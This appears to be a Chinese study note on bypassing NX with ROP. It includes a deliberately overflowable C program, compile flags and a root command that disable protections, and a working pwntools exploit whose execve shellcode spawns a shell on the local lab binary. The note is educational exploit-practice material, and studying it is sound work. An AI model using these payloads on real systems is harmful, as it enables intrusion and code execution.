NX机制及绕过策略-ROP(含无libc)

NX机制及绕过策略-ROP

参考文章
一篇文章带你清晰地理解 ROP 绕过 NX 技术
NX机制及绕过策略-ROP



参考文章先做个测试
1.源码
文件名:StackOF.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>

void vul(char *msg)
{
char buffer[64];
memcpy(buffer,msg,128);
return;
}

int main()
{
puts("So plz give me your shellcode:");
char buffer[256];
memset(buffer,0,256);
read(0,buffer,256);
vul(buffer);
return 0;
}

2.编译

3.查看编译及保护

64位文件,NX开启

4.查看加载的libc文件及地址

PWN-无libc泄露(XDCTF2015-pwn200)

PWN-无libc泄露

技术分享】借助DynELF实现无libc的漏洞利用小结
xdctf 2015 pwn200 writeup


栈溢出练习

来自文章: 栈溢出练习
—- c

#include <stdio.h>

#include <string.h>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void vul(char *msg)
{
char buffer[64];
strcpy(buffer,msg);
return;
}

int main()
{
puts("So plz give me your shellcode:");
char buffer[256];
memset(buffer,0,256);
read(0,buffer,256);
vul(buffer);
return 0;
}

gcc编译:gcc -m32 -no-pie -fno-stack-protector -z execstack -o pwnme StackOF.c
最好加一条命令关闭系统的的地址随机化(需要root模式下)
echo 0 > /proc/sys/kernel/randomize_va_space

查找libc文件以及libc基地址
命令 ldd 文件名 例如:ldd pwnme

最终成功的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# encoding:utf-8
from pwn import *

p = process('./pwnme') #运行程序
p.recvuntil("shellcode:") #当接受到字符串'shellcode:'

#找jmp_esp_addr_offset
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
jmp_esp = asm('jmp esp')

jmp_esp_addr_offset = libc.search(jmp_esp).next()

if jmp_esp_addr_offset is None:
print 'Cannot find jmp_esp in libc'
else:
print hex(jmp_esp_addr_offset)

libc_base = 0xf7ddd000 #你找到的libc加载地址,别错了我使用root找到的才成功
jmp_esp_addr = libc_base + jmp_esp_addr_offset #相加得到jmp_esp_addr

print hex(jmp_esp_addr)


buf = 'A'*76 #如何得到填充数据大小
buf += p32(jmp_esp_addr)
buf += '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

with open('poc','wb') as f:
f.write(buf)

p.sendline(buf) #发送构造后的buf

p.interactive()

如图:

之前老是不成功,在比对下我发现之后查找出的基地址竟然和我之前写的基地址不一样,改动了之后还是不行。意识到地址在变化,难道是因为没有地址随机化的原因?赶紧参照文章输入命令
echo 0 > /proc/sys/kernel/randomize_va_space
发现要特权模式,然后在root下再次查找发现基地址又不一样,再尝试,终于有了上图的成功!


#ROP之ret2libc
参考文章:
ROP之ret2libc
https://www.jianshu.com/p/c90530c910b0